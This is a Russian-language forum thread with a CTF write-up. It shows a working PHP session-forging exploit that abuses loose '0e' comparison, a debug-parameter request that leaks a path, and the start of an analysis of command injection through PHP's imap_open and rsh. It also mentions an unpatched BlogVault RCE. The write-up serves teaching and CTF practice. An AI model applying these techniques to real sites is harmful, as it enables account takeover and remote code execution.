COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]26[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]34[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$javaScript[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$cookie_enabled[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]};
[/
COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getHash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getSalt[/COLOR][COLOR="#007700"]()));
[/
COLOR][COLOR="#0000BB"]$test_protection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]17[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$test_protection_hash[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]};
if ([/COLOR][COLOR="#0000BB"]$test_protection[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]|| ![/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$timeCheck[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$session_expired[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$expire_time[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$time_dif[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'base_minutes'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cookie'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$cookie_enabled[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]$session_array[/COLOR][COLOR="#007700"];
}
[/
COLOR][/COLOR

Для генерации нужен всего лишь userid пользователя и он у нас есть. Но попробовав сгенерировать, сталкиваемся с проблемой. Для создания сессионной строки используется соль, лежащая в файле /var/opt/inc/salt, который недоступен, по причине ограниченности читалки.

На этом моменте вполне можно сдаться, аргумент весомый - отсутствие главного поваренного ингредиента. Но ведь нельзя просто так взять и забить когда есть исходники?!

Учитываем одно неизвестное и продолжаем, смотрим проверку или извлечение данных из сессионной строки. Выкинув всё лишние, находим главный участок валидации который нас отбраковывает:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getSessionArray[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]){
...
if ([/COLOR][COLOR="#0000BB"]$test_protection[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]|| ![/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
...
}
[/
COLOR][/COLOR

или, к примеру:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getSessionArray[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]){
...
if ([/COLOR][COLOR="#DD0000"]'1F13EF8'[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'B998342'[/COLOR][COLOR="#007700"]|| ![/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'1384'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
...
}
[/
COLOR][/COLOR

Сравнивается два блока, переданный нами и блок сгенерированный на сервере. Первым делом, на ум приходит брутфорс неизвестного нам значения. Семь символов в диапазоне A-Z0-9 дают 268 000 000 вариантов, один из них позволит обойти механизм проверки без знания соли. Но, во первых, это долго, во вторых трудно эксплуатируемо через интернет, так как один неудачный коннект или не предполагаемый респонс сервера, будут ломать всю картину.

Можно набросать качественный код с реализацией всевозможных исключений, ошибок коннекта и прочих неприятностей, но это никак не отменяет первой причины. Нам не годится, но имеет право на жизнь.

Поэтому погуглив на тему "PHP уязвимости сравнения", "ошибка сравнения PHP" или что-то в этом духе, находим множество материалов посвящённых данной теме. Суть которых заключается в том, что при сравнении != или ==, происходит преобразование типов, такое сравнение ещё называют "нестрогим", и если строка начинается с "0e", а после нее следуют только цифры, для PHP это будет float значение. Поэтому:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'0e462097431906509019562988736854'[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'0e462097431906509019562988736854'[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'0e689757431906419875624564334234'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]bool[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]bool[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])
[/
COLOR][/COLOR

В своё время это была довольно крутая находка, но всё же не совсем лёгкая в эксплуатации, так как всё-равно приходится перебирать кучу вариантов. Но что касается нашего кейса, где всего 7 символов, этот вариант как нельзя кстати. Гененрируя различные сессии, со статичными значениями $protectionBlock и $userid, мы точно попадём в подобное сравнение или как написал @Felis-Sapiens - "В среднем будет успешна каждая (16^7 / 10^5) ~ 2684 попытка. Мне потребовалось 3709".

PoC:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
array(
[/
COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Cookie: rememberSession='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]';'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'user_agent'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'timeout'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'ignore_errors'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true
[/COLOR][COLOR="#007700"])
);

[/
COLOR][COLOR="#FF8000"]#return @file_get_contents('http://tmp/task/', false, stream_context_create($opts));
[/COLOR][COLOR="#007700"]return @[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'http://80.211.180.74/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]stream_context_create[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$opts[/COLOR][COLOR="#007700"]));
}

function[/
COLOR][COLOR="#0000BB"]generateSession[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"]){
[/
COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1111[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9999[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'0E12345'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]uniqid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_pad[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userid[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]STR_PAD_LEFT[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'N'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$sessionBlock[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$userBlock[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$timeBlock[/COLOR][COLOR="#007700"];

list
([/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"]) = array([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]14[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]25[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$iSession[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]));

return
[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cut2[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut4[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut8[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut7[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut6[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut5[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$protectionBlock[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]}.[/COLOR][COLOR="#0000BB"]$cut1[/COLOR][COLOR="#007700"]);
}
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 

Результат выполнения:

Цитата:

Сообщение от None
Valid rememberSession for 1000001 is: B870EA820820.84E4F10772000183901004629005NNP5
Guessed for 48 attempts

Bonus! Для тех кто дочитал Если понравился этот баг, предлагаю самостоятельно расковырять 0day в плагине BlogVault. После байпаса, станет доступен RCE без авторизации.

⚑ 4. {SKL_OH_NO_FPD_HAPPENED_RCE_IS_COMING}

Сплоит написали, теперь есть возможность стать любым пользователем в системе. После успешного применения, видим перед собой некое альфа приложение, которое позволяет подключаться к произвольному почтовому сервису средствами IMAP и читать новые письма.

Исходников этого функционала у нас пока нет, по причине отсутствия нужного префикса, который как и соль лежит там где взять не получается. Во время извлечения предыдущего флага, вполне можно заметить рядом закомментированный инпут:

Код HTML:

HTML:

 ...

Пробуем добавить параметр в запрос, учитывая что чекнутый input является значением on, и отправляем невалидные данные:

Код:

Code:
POST / HTTP/1.1
Host: 80.211.180.74
Cookie: rememberSession=B870EA820820.84E4F10772000183901004629005NNP5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: http://80.211.180.74/
Content-Type: application/x-www-form-urlencoded

iserver=sdasd&ilogin=asdasd&ipassword=asdasd&idebug=on&check=Get

Если всё получилось, то увидим сообщения вида:

Цитата:

Сообщение от None
Warning: imap_open(): Couldn't open stream {sdasd:993/imap/ssl}INBOX in /var/www/html/int3rnal_us3_0nly_project.php on line 27
Error: No such host as sdasd

Пых выдал ворнинг, а мы получили наш префикс "int3rnal_us3_0nly". Читаем файл и флаг наш!

⚑ 5. {SKL_I_LUV_PHP_IMAP_AND_RCE}

Изюминка квеста, король вечера, Remote Command Execution, 0day, разрыв пуканов и всё-всё-всё, но не сегодня

В связи со сложившимися обстоятельствами, баг, послуживший материалом для создания этого задания, будет освящён на ежегодной конференции по ИБ - Kaz'Hack'Stan, которая состоится 5 октября 2018.

Докладывать будет @Twoster. Он же готовит подробную презу с нюансами, покрытием, причинами и следствием этой уязвимости, которых здесь, скорее всего, небыло бы.

Поэтому ждём, пинаем Твоста в ТГ, чтоб не бакланил и как следует пропиарил Античат на профильном мероприятии!

P.S. Не стесняйтесь, дополняйте, критикуйте и обсуждайте. Всем бобра

Twoster 30.08.2018 09:23

Спасибо за отличный таск и оказанную честь представлять тебя на конференции)

Постараюсь не посрамить честь античата))

BabaDook 23.10.2018 16:24

Каретка классные таски делает. Ещё раз, респект.

crlf 23.10.2018 16:24

Сорцы на Github (мы теперь модные).

https://github.com/antichat/L8-RCE-3

Twoster 23.10.2018 21:35

Друзья, всем привет!

Каретка меня уже скоро убьет, поэтому пишу разбор пятого таска)

1)Все мы знаем как выглядит стандартный вызов imap_open в php. Примерно так:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$imap[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]imap_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'{'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'server'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]':993/imap/ssl}INBOX'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);[/COLOR][/COLOR



Как мы видим, в функцию мы передаём имя хоста, порт, флаги и пару логин:пароль.

Полный список флагов можно найти наофициальной странице этой функции http://php.net/manual/ru/function.imap-open.php

2)Нас интересует один флаг:

Цитата:

Сообщение от None
/norsh
не использовать rsh или ssh для установки преавторизованной сессии IMAP

Начнем с того, что сама функция imap_open не является функцией самого ядра php. Функция является обёрткой для функции из библиотеки imap-2007f. Эта библиотека разработана в Вашингтонском Университете. Как видно из названия, библиотека была разработана еще в 2007 году, и последняя актуальная версия была изменена в 2011 году, и носит версию f.

Короч, мы уже осознаём, что баге больше 10 лет.

Возвращаемся к флагу /norsh.

Библиотека imap содержит в себе функционал для установки преавторизованной сессии.

Что это значит?

Библиотека перед коннектом к указаному серверу и порту решает проверить, а вдруг мы там привилегированный пользователь. И пытается приконнектится с указаным логином и паролем по rsh или ssh к хосту, и запустить там rimapd.

В исходниках библиотеки это выглядит так:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#ifdef SSHPATH /* ssh path defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]sshpath[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]sshpath[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SSHPATH[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]#endif
#ifdef RSHPATH /* rsh path defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]rshpath[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]rshpath[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]RSHPATH[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]#endif
[/COLOR][COLOR="#007700"]if (*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'*'[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#FF8000"]/* want ssh? */
/* return immediately if ssh disabled */
[/COLOR][COLOR="#007700"]if (!([/COLOR][COLOR="#0000BB"]sshpath[/COLOR][COLOR="#007700"]&& ([/COLOR][COLOR="#0000BB"]ti[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sshtimeout[/COLOR][COLOR="#007700"]))) return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#FF8000"]/* ssh command prototype defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]sshcommand[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]sshcommand[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"%s %s -l %s exec /etc/r%sd"[/COLOR][COLOR="#007700"]);
}
[/
COLOR][COLOR="#FF8000"]/* want rsh? */
[/COLOR][COLOR="#007700"]else if ([/COLOR][COLOR="#0000BB"]rshpath[/COLOR][COLOR="#007700"]&& ([/COLOR][COLOR="#0000BB"]ti[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]rshtimeout[/COLOR][COLOR="#007700"])) {
[/
COLOR][COLOR="#FF8000"]/* rsh command prototype defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]rshcommand[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]rshcommand[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"%s %s -l %s exec /etc/r%sd"[/COLOR][COLOR="#007700"]);
}
else return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* rsh disabled */[/COLOR][/COLOR

Как мы видим из сорцов, сначала мы проверяем указан ли SSHPATH, если не указан, то проверяет RSHPATH и пытается подключиться к нему.

Ищем в сорцах что это за RSHPATH и SSHPATH.

a) SSHPATH судя по сорцам формируется из файла /etc/c-client.cf

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/* dorc() options */

#define SYSCONFIG "/etc/c-client.cf"
[/COLOR][/COLOR

Ищет в этом файле строку set ssh-path

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/* Process rc file
* Accepts: file name
* .mminit flag
* Don't use this feature.
*/
[/COLOR][COLOR="#0000BB"]void dorc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]long flag[/COLOR][COLOR="#007700"])
...
[/
COLOR][COLOR="#0000BB"]mail_parameters[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SET_SSHCOMMAND[/COLOR][COLOR="#007700"],([/COLOR][COLOR="#0000BB"]void[/COLOR][COLOR="#007700"]*)[/COLOR][COLOR="#0000BB"]k[/COLOR][COLOR="#007700"]);
else if (![/COLOR][COLOR="#0000BB"]compare_cstring[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"set ssh-path"[/COLOR][COLOR="#007700"]))
[/
COLOR][/COLOR

Но или лыжи не едут, или я в плюсах тугой (а так и есть). Но у меня не удалось воспроизвести ситуацию, чтобы был коннект по ssh. Хотя файл он читает, я проверил)

Короч, это задел на будущее всем желающим, еще есть куда ресёчить. Идём дальше.

b) RSHPATH

Если посмотреть в makefile, который расположен в src/osdep/unix, то мы для каждой системы семейства unix видим что-то вроде

Цитата:

Сообщение от None
RSHPATH=/usr/bin/rsh

3) Преавторизованная сессия

как мы помним из кода выше, вся жара происходит в функции

tcp_aopen. Забавно, что это будет работать только в линупсах.

А вот почему:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]TCPSTREAM[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]tcp_aopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NETMBX[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]mb[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]usrbuf[/COLOR][COLOR="#007700"])
{
return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* always NIL on Windows */
[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR

PHP код:

PHP:
[
